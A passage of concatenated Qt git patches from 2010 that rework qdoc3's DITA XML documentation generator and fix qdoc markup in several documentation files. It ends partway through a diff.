xmlWriter().writeEndElement(); // generateBrief(vn,marker); @@ -5177,7 +5273,7 @@ void DitaXmlGenerator::writeMacros(const Section& s, if (fn->isMacro()) { xmlWriter().writeStartElement(CXXDEFINE); xmlWriter().writeAttribute("id",fn->guid()); - xmlWriter().writeStartElement(APINAME); + xmlWriter().writeStartElement("apiName"); xmlWriter().writeCharacters(fn->name()); xmlWriter().writeEndElement(); // generateBrief(fn,marker); @@ -5337,7 +5433,7 @@ void DitaXmlGenerator::writeDetailedDescription(const Node* node, inDetailedDescription = true; if (apiDesc) { inApiDesc = true; - xmlWriter().writeStartElement(APIDESC); + xmlWriter().writeStartElement("apiDesc"); if (!title.isEmpty()) { writeGuidAttribute(title); xmlWriter().writeAttribute("spectitle",title); @@ -5402,4 +5498,49 @@ void DitaXmlGenerator::writeNestedClasses(const Section& s, xmlWriter().writeEndElement(); // } +/*! + Recursive writing of DITA XML files from the root \a node. + */ +void +DitaXmlGenerator::generateInnerNode(const InnerNode* node, CodeMarker* marker) +{ + if (!node->url().isNull()) + return; + + if (node->type() == Node::Fake) { + const FakeNode *fakeNode = static_cast(node); + if (fakeNode->subType() == Node::ExternalPage) + return; + if (fakeNode->subType() == Node::Image) + return; + if (fakeNode->subType() == Node::QmlPropertyGroup) + return; + if (fakeNode->subType() == Node::Page) { + if (node->count() > 0) + qDebug("PAGE %s HAS CHILDREN", qPrintable(fakeNode->title())); + } + } + + if (node->parent() != 0) { + beginSubPage(node->location(), fileName(node)); + if (node->type() == Node::Namespace || node->type() == Node::Class) { + generateClassLikeNode(node, marker); + } + else if (node->type() == Node::Fake) { + if (node->subType() == Node::HeaderFile) + generateClassLikeNode(node, marker); + else + generateFakeNode(static_cast(node), marker); + } + endSubPage(); + } + + NodeList::ConstIterator c = node->childNodes().begin(); + while (c != node->childNodes().end()) { + if ((*c)->isInnerNode() && (*c)->access() != Node::Private) + generateInnerNode((const InnerNode*) *c, marker); + ++c; + } +} + QT_END_NAMESPACE diff --git a/tools/qdoc3/ditaxmlgenerator.h b/tools/qdoc3/ditaxmlgenerator.h index 0a9fc4a..b457061 100644 --- a/tools/qdoc3/ditaxmlgenerator.h +++ b/tools/qdoc3/ditaxmlgenerator.h @@ -246,6 +246,7 @@ class DitaXmlGenerator : public PageGenerator GuidMap* lookupGuidMap(const QString& fileName); virtual void beginSubPage(const Location& location, const QString& fileName); virtual void endSubPage(); + virtual void generateInnerNode(const InnerNode* node, CodeMarker* marker); QXmlStreamWriter& xmlWriter(); void writeDetailedDescription(const Node* node, CodeMarker* marker, -- cgit v0.12 From 68d0073707e8c3e3d7a5f93b5cf8ba9d02e2a468 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Sat, 23 Oct 2010 11:00:46 +0200 Subject: qdoc: Output the \qmlclass as a . Still more work to do here to make the detail sections correct. --- tools/qdoc3/ditaxmlgenerator.cpp | 155 ++++++++++++++++++++++++++++++++++++++- 1 file changed, 151 insertions(+), 4 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 42fa40a..8ae109d 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -1944,8 +1944,146 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark #endif xmlWriter().writeEndElement(); // } + else if ((inner->type() == Node::Fake) && (inner->subType() == Node::QmlClass)) { + const QmlClassNode* qcn = const_cast(static_cast(inner)); + const ClassNode* cn = qcn->classNode(); + rawTitle = marker->plainName(inner); + fullTitle = marker->plainFullName(inner); + title = rawTitle + " Element Reference"; + //QString fullTitle = fake->fullTitle(); + //QString htmlTitle = fullTitle; + + generateHeader(inner, fullTitle); + generateBrief(inner, marker); // + + // not included: + + xmlWriter().writeStartElement(CXXCLASSDETAIL); + xmlWriter().writeStartElement("apiDesc"); + xmlWriter().writeAttribute("spectitle",title); + Text brief = qcn->doc().briefText(); // zzz + if (!brief.isEmpty()) { + xmlWriter().writeStartElement("p"); + generateText(brief, qcn, marker); + xmlWriter().writeEndElement(); //

    + } + generateQmlInstantiates(qcn, marker); + generateQmlInherits(qcn, marker); + generateQmlInheritedBy(qcn, marker); + generateSince(qcn, marker); + xmlWriter().writeEndElement(); // + + QList
    summarySections; + summarySections = marker->qmlSections(qcn,CodeMarker::Summary,0); + s = summarySections.begin(); + while (s != summarySections.end()) { + QString attr; + if (!s->members.isEmpty()) { + xmlWriter().writeStartElement("section"); + attr = cleanRef((*s).name).toLower() + " redundant"; + xmlWriter().writeAttribute("outputclass",attr); + xmlWriter().writeStartElement("title"); + xmlWriter().writeAttribute("outputclass","h2"); + xmlWriter().writeCharacters(protectEnc((*s).name)); + xmlWriter().writeEndElement(); // + generateQmlSummary(*s,qcn,marker); + //generateSection(s->members, inner, marker, CodeMarker::Summary); + //generateSectionInheritedList(*s, inner, marker); + xmlWriter().writeEndElement(); //
    + } + if (!s->reimpMembers.isEmpty()) { + qDebug() << "GOT HEAH!"; + QString name = QString("Reimplemented ") + (*s).name; + attr = cleanRef(name).toLower() + " redundant"; + xmlWriter().writeStartElement("section"); + xmlWriter().writeAttribute("outputclass",attr); + xmlWriter().writeStartElement("title"); + xmlWriter().writeAttribute("outputclass","h2"); + xmlWriter().writeCharacters(protectEnc(name)); + xmlWriter().writeEndElement(); // + generateSection(s->reimpMembers, inner, marker, CodeMarker::Summary); + generateSectionInheritedList(*s, inner, marker); + xmlWriter().writeEndElement(); //
    + } + ++s; + } + + writeDetailedDescription(qcn, marker, false, QString("Detailed Description")); + if (cn) + generateQmlText(cn->doc().body(), cn, marker, qcn->name()); + + QList
    detailSections; + detailSections = marker->qmlSections(qcn,CodeMarker::Detailed,0); + s = detailSections.begin(); + while (s != detailSections.end()) { + if (!s->members.isEmpty()) { + QString attr; + xmlWriter().writeStartElement("section"); + attr = cleanRef((*s).name).toLower(); + xmlWriter().writeAttribute("outputclass",attr); + xmlWriter().writeStartElement("title"); + xmlWriter().writeAttribute("outputclass","h2"); + xmlWriter().writeCharacters(protectEnc((*s).name)); + xmlWriter().writeEndElement(); // + NodeList::ConstIterator m = (*s).members.begin(); + while (m != (*s).members.end()) { + generateDetailedQmlMember(*m, qcn, marker); + ++m; + } + xmlWriter().writeEndElement(); //
    + } + ++s; + } + + xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // + } } + +#if 0 + while (s != detailSections.end()) { + if ((*s).name == "Member Function Documentation") { + writeFunctions((*s),qcn,marker); + } + else if ((*s).name == "Member Type Documentation") { + writeEnumerations((*s),marker); + writeTypedefs((*s),marker); + } + else if ((*s).name == "Member Variable Documentation") { + writeDataMembers((*s),marker); + } + else if ((*s).name == "Property Documentation") { + writeProperties((*s),marker); + } + else if ((*s).name == "Macro Documentation") { + writeMacros((*s),marker); + } + ++s; + } +#endif +#if 0 + QString membersLink = generateListOfAllMemberFile(inner, marker); + QString obsoleteLink = generateLowStatusMemberFile(inner, + marker, + CodeMarker::Obsolete); + QString compatLink = generateLowStatusMemberFile(inner, + marker, + CodeMarker::Compat); + if (!membersLink.isEmpty() || + !obsoleteLink.isEmpty() || + !compatLink.isEmpty()) { + xmlWriter().writeStartElement("ul"); + if (!membersLink.isEmpty()) + writeXrefListItem(membersLink,"List of all members, including inherited members"); + if (!obsoleteLink.isEmpty()) + writeXrefListItem(obsoleteLink,"Obsolete members"); + if (!compatLink.isEmpty()) + writeXrefListItem(compatLink,"Qt 3 support members"); + xmlWriter().writeEndElement(); // + } +#endif + /*! Write a list item for a \a link with the given \a text. */ @@ -2035,7 +2173,6 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker xmlWriter().writeEndElement(); //
    } } -#endif else if (fake->subType() == Node::QmlClass) { const QmlClassNode* qml_cn = static_cast(fake); const ClassNode* cn = qml_cn->classNode(); @@ -2091,6 +2228,7 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker xmlWriter().writeEndElement(); // return; } +#endif if (fake->doc().isEmpty()) { if (fake->subType() == Node::File) { @@ -2189,6 +2327,16 @@ void DitaXmlGenerator::generateHeader(const Node* node, version + "//EN\" \"" + dtd + "\">"; outputclass = "headerfile"; } + else if (node->subType() == Node::QmlClass) { + mainElement = "cxxClass"; + nameElement = "apiName"; + dtd = "dtd/cxxClass.dtd"; + version = "0.6.0"; + doctype = ""; + outputclass = "QML-class"; + } else { mainElement = "topic"; nameElement = "title"; @@ -2217,9 +2365,6 @@ void DitaXmlGenerator::generateHeader(const Node* node, case Node::ExternalPage: // not used outputclass = "externalpage"; break; - case Node::QmlClass: - outputclass = "QML-class"; - break; default: outputclass = "page"; } @@ -5529,6 +5674,8 @@ DitaXmlGenerator::generateInnerNode(const InnerNode* node, CodeMarker* marker) else if (node->type() == Node::Fake) { if (node->subType() == Node::HeaderFile) generateClassLikeNode(node, marker); + else if (node->subType() == Node::QmlClass) + generateClassLikeNode(node, marker); else generateFakeNode(static_cast(node), marker); } -- cgit v0.12 From af7346651038054b1cc72e2475a01315fbc9966e Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Mon, 25 Oct 2010 09:46:48 +0200 Subject: doc: Moved a \target that was in the wrong place. --- doc/src/widgets-and-layouts/stylesheet.qdoc | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/doc/src/widgets-and-layouts/stylesheet.qdoc b/doc/src/widgets-and-layouts/stylesheet.qdoc index 6343e6a..e02e8c2 100644 --- a/doc/src/widgets-and-layouts/stylesheet.qdoc +++ b/doc/src/widgets-and-layouts/stylesheet.qdoc @@ -2091,8 +2091,7 @@ \row - \o \bold{\c messagebox-text- \target messagebox-text-interaction-flags-prop - \BR \c interaction-flags}* + \o \bold{\c messagebox-text-interaction-flags*} \target messagebox-text-interaction-flags-prop \o \l{#Number}{Number} \o The interaction behavior for text in a message box. Possible values are based on Qt::TextInteractionFlags. -- cgit v0.12 From 89df9c49f89a66feef720bcc81fba84c5632552f Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Mon, 25 Oct 2010 09:47:58 +0200 Subject: qdoc: Fixed some DITA XML validation errors. --- tools/qdoc3/ditaxmlgenerator.cpp | 20 ++++---------------- 1 file changed, 4 insertions(+), 16 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 8ae109d..3397033 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -1276,10 +1276,10 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, } break; case Atom::QuotationLeft: - xmlWriter().writeStartElement("blockquote"); + xmlWriter().writeStartElement("lq"); break; case Atom::QuotationRight: - xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // break; case Atom::RawString: xmlWriter().writeCharacters(atom->string()); @@ -1991,20 +1991,6 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark //generateSectionInheritedList(*s, inner, marker); xmlWriter().writeEndElement(); //
    } - if (!s->reimpMembers.isEmpty()) { - qDebug() << "GOT HEAH!"; - QString name = QString("Reimplemented ") + (*s).name; - attr = cleanRef(name).toLower() + " redundant"; - xmlWriter().writeStartElement("section"); - xmlWriter().writeAttribute("outputclass",attr); - xmlWriter().writeStartElement("title"); - xmlWriter().writeAttribute("outputclass","h2"); - xmlWriter().writeCharacters(protectEnc(name)); - xmlWriter().writeEndElement(); // - generateSection(s->reimpMembers, inner, marker, CodeMarker::Summary); - generateSectionInheritedList(*s, inner, marker); - xmlWriter().writeEndElement(); //
    - } ++s; } @@ -2018,6 +2004,7 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark while (s != detailSections.end()) { if (!s->members.isEmpty()) { QString attr; + inSection = true; xmlWriter().writeStartElement("section"); attr = cleanRef((*s).name).toLower(); xmlWriter().writeAttribute("outputclass",attr); @@ -2031,6 +2018,7 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark ++m; } xmlWriter().writeEndElement(); //
    + inSection = false; } ++s; } -- cgit v0.12 From b0d64717d2c541976dc5524e4100c62f060e206f Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Mon, 25 Oct 2010 11:07:37 +0200 Subject: doc: Changed a table into 3 tables to eliminate a \raw. --- src/3rdparty/webkit/WebKit/qt/docs/qtwebkit.qdoc | 19 ++++++++++--------- 1 file changed, 10 insertions(+), 9 deletions(-) diff --git a/src/3rdparty/webkit/WebKit/qt/docs/qtwebkit.qdoc b/src/3rdparty/webkit/WebKit/qt/docs/qtwebkit.qdoc index 0335d46..2be8e5e 100644 --- a/src/3rdparty/webkit/WebKit/qt/docs/qtwebkit.qdoc +++ b/src/3rdparty/webkit/WebKit/qt/docs/qtwebkit.qdoc @@ -103,8 +103,8 @@ The following locations are searched for plugins: \table - \header \o Linux/Unix (X11) \o Windows - \row \o{1,3} + \header \o Linux/Unix (X11) + \row \o \list \o \c{.mozilla/plugins} in the user's home directory \o \c{.netscape/plugins} in the user's home directory @@ -134,19 +134,20 @@ \o \c{$QTWEBKIT_PLUGIN_PATH} \endlist \endlist + \endtable - \o + \table + \header \o Windows + \row \o \list \o The user's \c{Application Data\Mozilla\plugins} directory \o Standard system locations of plugins for Quicktime, Flash, etc. \endlist + \endtable - \row - \raw HTML - Mac OS X - \endraw - \row - \o + \table + \header \o Mac OS X + \row \o \list \o \c{Library/Internet Plug-Ins} in the user's home directory \o The system \c{/Library/Internet Plug-Ins} directory -- cgit v0.12 From db88727a7dbf46e773745a7e22da6cf1e91611a8 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Mon, 25 Oct 2010 11:19:51 +0200 Subject: doc: Changed a \section in a \table into a \header. --- src/corelib/tools/qstring.cpp | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/src/corelib/tools/qstring.cpp b/src/corelib/tools/qstring.cpp index d8dab43..74eb7d4 100644 --- a/src/corelib/tools/qstring.cpp +++ b/src/corelib/tools/qstring.cpp @@ -646,10 +646,12 @@ const QString::Null QString::null = { }; class.) \table 100 % - \row + \header \o \section1 Note for C Programmers + \row + \o Due to C++'s type system and the fact that QString is \l{implicitly shared}, QStrings may be treated like \c{int}s or other basic types. For example: -- cgit v0.12 From 7e11ffb60b2c1259b1d43f99147db53c0f004f25 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Mon, 25 Oct 2010 11:32:49 +0200 Subject: doc: Removed illegal \section1. --- src/corelib/tools/qstring.cpp | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/src/corelib/tools/qstring.cpp b/src/corelib/tools/qstring.cpp index 74eb7d4..8083aee 100644 --- a/src/corelib/tools/qstring.cpp +++ b/src/corelib/tools/qstring.cpp @@ -647,8 +647,7 @@ const QString::Null QString::null = { }; \table 100 % \header - \o - \section1 Note for C Programmers + \o Note for C Programmers \row \o -- cgit v0.12 From cbcaa64e3ff7ad8293c95df938901694b3f472bd Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Mon, 25 Oct 2010 12:30:07 +0200 Subject: doc: Moved many \target commands that were in the wrong place. --- doc/src/widgets-and-layouts/stylesheet.qdoc | 62 +++++++++++++---------------- 1 file changed, 27 insertions(+), 35 deletions(-) diff --git a/doc/src/widgets-and-layouts/stylesheet.qdoc b/doc/src/widgets-and-layouts/stylesheet.qdoc index e02e8c2..b35232e 100644 --- a/doc/src/widgets-and-layouts/stylesheet.qdoc +++ b/doc/src/widgets-and-layouts/stylesheet.qdoc @@ -1995,7 +1995,7 @@ \l{#bottom-prop}{bottom}. \row - \o \bold{\c lineedit-password- \BR \c character}* \target lineedit-password-character-prop + \o \bold{\c lineedit-password-character*} \target lineedit-password-character-prop \o \l{#Number}{Number} \o The QLineEdit password character as a Unicode number. @@ -2152,7 +2152,7 @@ See also \l{#min-height-prop}{min-height}. \row - \o \bold{\c opacity}* \target opacity-prop + \o \bold{\c opacity*} \target opacity-prop \o \l{#Number}{Number} \o The opacity for a widget. Possible values are from 0 (transparent) to 255 (opaque). For the moment, this is @@ -2248,7 +2248,7 @@ \l{#bottom-prop}{bottom}. \row - \o \bold{\c selection-background-color}* \target selection-background-color-prop + \o \bold{\c selection-background-color*} \target selection-background-color-prop \o \l{#Brush}{Brush} \BR \o The background of selected text or items. @@ -2267,7 +2267,7 @@ \l{Qt Style Sheets Reference#background-prop}{background}. \row - \o \bold{\c selection-color}* \target selection-color-prop + \o \bold{\c selection-color*} \target selection-color-prop \o \l{#Brush}{Brush} \BR \o The foreground of selected text or items. @@ -2287,8 +2287,7 @@ and \l{#color-prop}{color}. \row - \o \bold{\c show-decoration- \target show-decoration-selected-prop - \BR \c selected}* + \o \bold{\c show-decoration-selected*} \target show-decoration-selected-prop \o \l{#Boolean}{Boolean} \o Controls whether selections in a QListView cover the entire row or just the extent of the text. @@ -2303,7 +2302,7 @@ \snippet doc/src/snippets/code/doc_src_stylesheet.qdoc 73 \row - \o \bold{\c spacing}* \target spacing-prop + \o \bold{\c spacing*} \target spacing-prop \o \l{#Length}{Length} \o Internal spacing in the widget. @@ -2321,7 +2320,7 @@ \l{#margin-prop}{margin}. \row - \o \bold{\c subcontrol-origin}* \target subcontrol-origin-prop + \o \bold{\c subcontrol-origin*} \target subcontrol-origin-prop \o \l{#Origin}{Origin} \o The origin rectangle of the \l subcontrol within the parent element. @@ -2337,7 +2336,7 @@ \l{Qt Style Sheets Reference#subcontrol-position-prop}{subcontrol-position}. \row - \o \bold{\c subcontrol-position}* \target subcontrol-position-prop + \o \bold{\c subcontrol-position*} \target subcontrol-position-prop \o \l{#Alignment}{Alignment} \o The alignment of the \l subcontrol within the origin rectangle specified by \l{Qt Style Sheets Reference#subcontrol-origin-prop} @@ -2705,8 +2704,7 @@ \o Shorthand border property. \row - \o \bold{Border \target Border Image - Image} + \o \bold{Border Image} \target Border Image \o \c none \BR | \l{Url} \l{Number}\{4\} \BR (\c stretch | \c repeat){0,2} \o A border image is an image that is composed of nine parts @@ -2722,8 +2720,7 @@ {CSS3 Draft Specification} for details. \row - \o \bold{Border \target Border Style - Style} + \o \bold{Border Style} \target Border Style \o \c dashed \BR | \c dot-dash \BR | \c dot-dot-dash \BR @@ -2740,8 +2737,7 @@ {CSS3 Draft Specification} for details. \row - \o \bold{Box \target Box Colors - Colors} + \o \bold{Box Colors} \target Box Colors \o \l{#Brush}{Brush}\{1,4\} \o One to four occurrences of \l{#Brush}{Brush}, specifying the top, right, bottom, and left edges of a box, respectively. If @@ -2756,8 +2752,7 @@ \snippet doc/src/snippets/code/doc_src_stylesheet.qdoc 82 \row - \o \bold{Box \target Box Lengths - Lengths} + \o \bold{Box Lengths} \target Box Lengths \o \l{#Length}{Length}\{1,4\} \o One to four occurrences of \l{#Length}{Length}, specifying the top, right, bottom, and left edges of a box, @@ -2772,14 +2767,14 @@ \snippet doc/src/snippets/code/doc_src_stylesheet.qdoc 83 \row - \o \bold Brush \target Brush + \o \bold{Brush} \target Brush \o \l{#Color}{Color} \BR | \l{Gradient} \BR | \l{PaletteRole} \o Specifies a Color or a Gradient or an entry in the Palette. \row - \o \bold Color \target Color + \o \bold{Color} \target Color \o \tt{rgb(\e{r}, \e{g}, \e{b})} \BR | \tt{rgba(\e{r}, \e{g}, \e{b}, \e{a})} \BR | \tt{hsv(\e{h}, \e{s}, \e{v})} \BR @@ -2802,27 +2797,24 @@ \l{http://www.w3.org/TR/CSS21/syndata.html#color-units}{here}. \row - \o \bold Font \target Font + \o \bold{Font} \target Font \o (\l{#Font Style}{Font Style} | \l{#Font Weight}{Font Weight}){0,2} \l{#Font Size}{Font Size} String \o Shorthand font property. \row - \o \bold{Font \target Font Size - Size} + \o \bold{Font Size} \target Font Size \o \l{Length} \o The size of a font. \row - \o \bold{Font \target Font Style - Style} + \o \bold{Font Style} \target Font Style \o \c normal \BR | \c italic \BR | \c oblique \o The style of a font. \row - \o \bold{Font \target Font Weight - Weight} + \o \bold{Font Weight} \target Font Weight \o \c normal \BR | \c bold \BR | \c 100 \BR @@ -2832,7 +2824,7 @@ \o The weight of a font. \row - \o \bold Gradient \target Gradient + \o \bold{Gradient} \target Gradient \o \c qlineargradient \BR | \c qradialgradient \BR | \c qconicalgradient @@ -2862,7 +2854,7 @@ \snippet doc/src/snippets/code/doc_src_stylesheet.qdoc 85 \row - \o \bold Icon \target Icon + \o \bold{Icon} \target Icon \o (\l{#Url}{Url} (\c disabled | \c active | \c normal | \c selected)? (\c on | \c off)? )* \o A list of url, QIcon::Mode and QIcon::State. @@ -2871,7 +2863,7 @@ \snippet doc/src/snippets/code/doc_src_stylesheet.qdoc 86 \row - \o \bold Length \target Length + \o \bold{Length} \target Length \o \l{#Number}{Number} (\c px | \c pt | \c em | \c ex)? \o A number followed by a measurement unit. The CSS standard recommends that user agents must @@ -2889,13 +2881,13 @@ \endlist \row - \o \bold Number \target Number + \o \bold{Number} \target Number \o A decimal integer or a real number \o Examples: \c 0, \c 18, \c +127, \c -255, \c 12.34, \c -.5, \c 0009. \row - \o \bold Origin \target Origin + \o \bold{Origin} \target Origin \o \c margin \BR | \c border \BR | \c padding \BR @@ -2915,7 +2907,7 @@ See also \l{The Box Model}. \row - \o \bold PaletteRole \target PaletteRole + \o \bold{PaletteRole} \target PaletteRole \o \c alternate-base \BR | \c base \BR | \c bright-text \BR @@ -2940,7 +2932,7 @@ \snippet doc/src/snippets/code/doc_src_stylesheet.qdoc 87 \row - \o \bold Radius \target Radius + \o \bold{Radius} \target Radius \o \l{#Length}{Length}\{1, 2\} \o One or two occurrences of \l{#Length}{Length}. If only one length is specified, it is used as the radius of the quarter circle @@ -2949,7 +2941,7 @@ ellipse, whereas the second length is the vertical radius. \row - \o \bold Repeat \target Repeat + \o \bold{Repeat} \target Repeat \o \c repeat-x \BR | \c repeat-y \BR | \c repeat \BR @@ -2964,7 +2956,7 @@ \endlist \row - \o \bold Url \target Url + \o \bold{Url} \target Url \o \tt{url(\e{filename})} \o \tt{\e{filename}} is the name of a file on the local disk or stored using \l{the Qt Resource System}. Setting an -- cgit v0.12 From 766b23e722743c0b99c03cf4a035b5b20cb8a88f Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Mon, 25 Oct 2010 12:30:50 +0200 Subject: qdoc: Fixed some DITA XML validation errors. --- tools/qdoc3/ditaxmlgenerator.cpp | 11 +++++++++++ tools/qdoc3/ditaxmlgenerator.h | 2 +- tools/qdoc3/generator.h | 2 +- 3 files changed, 13 insertions(+), 2 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 3397033..e1aa519 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -1282,7 +1282,10 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, xmlWriter().writeEndElement(); // break; case Atom::RawString: + xmlWriter().writeStartElement("pre"); + xmlWriter().writeAttribute("outputclass","raw-html"); xmlWriter().writeCharacters(atom->string()); + xmlWriter().writeEndElement(); // break; case Atom::SectionLeft: if (inSection || inApiDesc) { @@ -5678,4 +5681,12 @@ DitaXmlGenerator::generateInnerNode(const InnerNode* node, CodeMarker* marker) } } +/*! + Returns true if \a format is "XML" or "HTML" . + */ +bool DitaXmlGenerator::canHandleFormat(const QString& format) +{ + return (format == "HTML") || (format == this->format()); +} + QT_END_NAMESPACE diff --git a/tools/qdoc3/ditaxmlgenerator.h b/tools/qdoc3/ditaxmlgenerator.h index b457061..afa77bb 100644 --- a/tools/qdoc3/ditaxmlgenerator.h +++ b/tools/qdoc3/ditaxmlgenerator.h @@ -88,6 +88,7 @@ class DitaXmlGenerator : public PageGenerator virtual void initializeGenerator(const Config& config); virtual void terminateGenerator(); virtual QString format(); + virtual bool canHandleFormat(const QString& format); virtual void generateTree(const Tree* tree, CodeMarker* marker); QString protectEnc(const QString& string); @@ -326,4 +327,3 @@ class DitaXmlGenerator : public PageGenerator QT_END_NAMESPACE #endif - diff --git a/tools/qdoc3/generator.h b/tools/qdoc3/generator.h index bccfc5d..26d5269 100644 --- a/tools/qdoc3/generator.h +++ b/tools/qdoc3/generator.h @@ -114,7 +114,7 @@ class Generator void generateThreadSafeness(const Node *node, CodeMarker *marker); void generateSince(const Node *node, CodeMarker *marker); void generateStatus(const Node *node, CodeMarker *marker); - const Atom *generateAtomList(const Atom *atom, + const Atom* generateAtomList(const Atom *atom, const Node *relative, CodeMarker *marker, bool generate, -- cgit v0.12 From cd3d9ea937a77c5caad276ac279e550ae74b60d6 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Mon, 25 Oct 2010 13:18:14 +0200 Subject: doc: Fixed some DITA XML validation errors. --- doc/src/internationalization/linguist-manual.qdoc | 2 +- doc/src/platforms/emb-qvfb.qdoc | 1 - tools/qdoc3/ditaxmlgenerator.cpp | 14 ++++++++++---- 3 files changed, 11 insertions(+), 6 deletions(-) diff --git a/doc/src/internationalization/linguist-manual.qdoc b/doc/src/internationalization/linguist-manual.qdoc index 57b98b8..baf37b0 100644 --- a/doc/src/internationalization/linguist-manual.qdoc +++ b/doc/src/internationalization/linguist-manual.qdoc @@ -95,7 +95,7 @@ \o A single phrase may need to be translated into several different forms depending on context, e.g. \e open in English - might become \e{\ouml\c{}ffnen}, "open file", or \e aufbauen, + might become \e{\ouml}\e{ffnen}, "open file", or \e aufbauen, "open internet connection", in German. \o Keyboard accelerators may need to be changed but without diff --git a/doc/src/platforms/emb-qvfb.qdoc b/doc/src/platforms/emb-qvfb.qdoc index 4be2f64..78bdd73 100644 --- a/doc/src/platforms/emb-qvfb.qdoc +++ b/doc/src/platforms/emb-qvfb.qdoc @@ -197,7 +197,6 @@ for the button are redrawn from the activated skin. \row - \row \o \image qt-embedded-clamshellphone-closed.png The ClamshellPhone Skin (closed) \o diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index e1aa519..bb2e817 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -1282,10 +1282,16 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, xmlWriter().writeEndElement(); // break; case Atom::RawString: - xmlWriter().writeStartElement("pre"); - xmlWriter().writeAttribute("outputclass","raw-html"); - xmlWriter().writeCharacters(atom->string()); - xmlWriter().writeEndElement(); // + if (atom->string() == " ") + break; + if (atom->string().startsWith("&")) + xmlWriter().writeCharacters(atom->string()); + else { + xmlWriter().writeStartElement("pre"); + xmlWriter().writeAttribute("outputclass","raw-html"); + xmlWriter().writeCharacters(atom->string()); + xmlWriter().writeEndElement(); // + } break; case Atom::SectionLeft: if (inSection || inApiDesc) { -- cgit v0.12 From 7f8bb137427160070c3461fc161199f82d4731e4 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Tue, 26 Oct 2010 10:30:58 +0200 Subject: doc: Fixed some DITA XML validation errors. Also fixed a bug in qdoc3 for html generation. --- tools/qdoc3/atom.h | 64 ++++++++++++++++++++-------------------- tools/qdoc3/ditaxmlgenerator.cpp | 4 +-- tools/qdoc3/doc.cpp | 2 +- 3 files changed, 34 insertions(+), 36 deletions(-) diff --git a/tools/qdoc3/atom.h b/tools/qdoc3/atom.h index 13df07b..4639711 100644 --- a/tools/qdoc3/atom.h +++ b/tools/qdoc3/atom.h @@ -56,20 +56,20 @@ class Atom { public: enum Type { - AbstractLeft, - AbstractRight, + AbstractLeft, // 00 + AbstractRight, AnnotatedList, AutoLink, - BaseName, + BaseName, BriefLeft, - BriefRight, + BriefRight, C, - CaptionLeft, + CaptionLeft, CaptionRight, - Code, - CodeBad, - CodeNew, - CodeOld, + Code, // 10 + CodeBad, + CodeNew, + CodeOld, CodeQuoteArgument, CodeQuoteCommand, #ifdef QDOC_QML @@ -77,59 +77,59 @@ class Atom #endif FootnoteLeft, FootnoteRight, - FormatElse, - FormatEndif, + FormatElse, + FormatEndif, // 20 FormatIf, FormattingLeft, FormattingRight, GeneratedList, GuidLink, - Image, + Image, ImageText, InlineImage, LegaleseLeft, - LegaleseRight, - LineBreak, - Link, + LegaleseRight, // 30 + LineBreak, + Link, LinkNode, - ListLeft, + ListLeft, ListItemNumber, - ListTagLeft, - ListTagRight, - ListItemLeft, - ListItemRight, - ListRight, - Nop, + ListTagLeft, // 36 + ListTagRight, // 37 + ListItemLeft, // 38 + ListItemRight, // 39 + ListRight, // 40 + Nop, ParaLeft, - ParaRight, + ParaRight, #ifdef QDOC_QML Qml, QmlText, #endif - QuotationLeft, + QuotationLeft, QuotationRight, RawString, - SectionLeft, + SectionLeft, // 49 SectionRight, SectionHeadingLeft, SectionHeadingRight, - SidebarLeft, + SidebarLeft, SidebarRight, SinceList, SnippetCommand, SnippetIdentifier, SnippetLocation, - String, - TableLeft, - TableRight, + String, // 59 + TableLeft, // 60 + TableRight, TableHeaderLeft, TableHeaderRight, TableRowLeft, - TableRowRight, - TableItemLeft, + TableRowRight, + TableItemLeft, TableItemRight, TableOfContents, - Target, + Target, // 69 UnhandledFormat, UnknownCommand, Last = UnknownCommand diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index bb2e817..542960d 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -1157,7 +1157,7 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, xmlWriter().writeStartElement("stentry"); xmlWriter().writeCharacters("Value"); xmlWriter().writeEndElement(); // - xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // } } else { @@ -1223,8 +1223,6 